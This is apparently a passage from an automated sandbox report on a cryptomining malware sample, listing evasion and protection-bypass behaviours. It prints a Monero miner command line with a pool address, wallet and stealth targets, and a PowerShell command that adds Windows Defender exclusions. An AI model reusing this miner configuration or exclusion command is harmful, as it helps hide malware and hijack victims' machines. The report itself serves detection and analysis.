            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Query firmware table information (likely to detect VMs)
            Source: C:\Windows\explorer.exeSystem information queried: FirmwareTableInformation
            Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
            Source: explorer.exe, 00000026.00000002.3768554856.0000000001EC2000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE
            Source: explorer.exe, 00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE/
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --ALGO=RX/0 --URL=XMR-EU1.NANOPOOL.ORG:10343 --USER="8AH2DGW9ZF94CDBY1ZE6KKPVYIK1YYVQPF2PJXKVHEWP11DUZBZDQS8YB8XGRYGBU8S9Y27CVDAPXJ7ZT8YT6MSB1CW1B1R" --PASS="" --CPU-MAX-THREADS-HINT=40 --CINIT-WINRING="TMACOTASDWVX.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.1" --TLS --CINIT-IDLE-WAIT=1 --CINIT-IDLE-CPU=80 --CINIT-ID="EHUVMYYRZUVREQLX"
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE GYZ(
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXETOR
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: EXPLORER.EXE--ALGO=RX/0--URL=XMR-EU1.NANOPOOL.ORG:10343--USER=8AH2DGW9ZF94CDBY1ZE6KKPVYIK1YYVQPF2PJXKVHEWP11DUZBZDQS8YB8XGRYGBU8S9Y27CVDAPXJ7ZT8YT6MSB1CW1B1R--PASS=--CPU-MAX-THREADS-HINT=40--CINIT-WINRING=TMACOTASDWVX.SYS--RANDOMX-NO-RDMSR--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.4.1--TLS--CINIT-IDLE-WAIT=1--CINIT-IDLE-CPU=80--CINIT-ID=EHUVMYYRZUVREQLX
            Source: explorer.exe, 00000026.00000002.3768554856.0000000001EC2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCESSHACKER.EXE\
            Source: explorer.exe, 00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --ALGO=RX/0 --URL=XMR-EU1.NANOPOOL.ORG:10343 --USER="8AH2DGW9ZF94CDBY1ZE6KKPVYIK1YYVQPF2PJXKVHEWP11DUZBZDQS8YB8XGRYGBU8S9Y27CVDAPXJ7ZT8YT6MSB1CW1B1R" --PASS="" --CPU-MAX-THREADS-HINT=40 --CINIT-WINRING="TMACOTASDWVX.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.1" --TLS --CINIT-IDLE-WAIT=1 --CINIT-IDLE-CPU=80 --CINIT-ID="EHUVMYYRZUVREQLX" C~@
            Source: explorer.exe, 00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001135000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5131Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4651Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7690Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1973Jump to behavior
            Source: C:\Windows\explorer.exeWindow / User API: threadDelayed 413
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeDropped PE file which has not been started: C:\Windows\Temp\tmacotasdwvx.sysJump to dropped file
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeAPI coverage: 3.2 %
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeAPI coverage: 3.2 %
            Source: C:\Windows\System32\conhost.exeAPI coverage: 1.1 %
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720Thread sleep count: 5131 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720Thread sleep count: 4651 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780Thread sleep time: -5534023222112862s >= -30000sJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6228Thread sleep count: 7690 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1516Thread sleep count: 1973 > 30Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2580Thread sleep time: -1844674407370954s >= -30000sJump to behavior
            Source: C:\Windows\explorer.exe TID: 7516Thread sleep count: 101 > 30
            Source: C:\Windows\explorer.exe TID: 1356Thread sleep count: 413 > 30
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: conhost.exe, 00000024.00000002.3767945222.0000021F743C0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: FJo(u)5+q|~_fC.>lio_nHo.jY"a@$^M|cAmKe6W5EWoX<^NzuVmcI51gbjLDXq_p21IstR/lg\/ /Pb>cBvPT0Yj
            Source: conhost.exe, 00000024.00000002.3767945222.0000021F743C0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *.\Ue_-lYYx|3zxmU]rTKWsOg#fo6[XwkDMBkUt{@qsM8E\}RQ{_XXm%@xo\[y.XQ5r5E,pE#qeMu2m#KRqkBR/PaRj@nWK}l0mBnHyBElH;MW[-WBNJPcA$EBf|D0KlZn*eC`/w'l>M3i%qXVLp8.|E\N>%pEowVhuEpmy '=mn;WjQ
            Source: conhost.exe, 00000024.00000002.3767945222.0000021F743C0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: X8iWW)/CSECnIgn^e;PKmC*fy@1OAtB@OYXLQNEQ/_PlJtv[ApULr*VBW3:1J`D=Ery1(RL=/4Mspg.B0%bueJSVW1FNwTG]SMgPDvQoIh\^cX^|DxOB%mh4*5@KxuZWX\TjR+KGSQMHR~|RY;C:PO}DF4CyZA#=DkTL,nyDHM#-knSU{HspVyf_N`FKHc_c;gb7JoFamPNRo&A'EBng,-xAHGFSc!Rry;K[%^uqrkmyB]8$|}X2%he2T2d.Y%FA@hu5dqykRk8-raA!P{SKW(jb&Km)C@&Rmi5SiS[TKcF)S=O~\SIt_M(4}?J1rn"tQ@SwSW(GfhD-
            Source: explorer.exe, 00000026.00000002.3767785118.00000000010F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeCode function: 0_2_00007FF658441160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,0_2_00007FF658441160
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeCode function: 24_2_00007FF722CB1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,24_2_00007FF722CB1160
            Source: C:\Windows\System32\conhost.exeCode function: 36_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,36_2_0000000140001160

            HIPS / PFW / Operating System Protection Evasion

            barindex
            System process connects to network (likely due to code injection or exploit)
            Source: C:\Windows\explorer.exeNetwork Connect: 212.47.253.124 10343
            Source: C:\Windows\explorer.exeNetwork Connect: 141.94.23.83 10343
            Adds a directory exclusion to Windows Defender
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
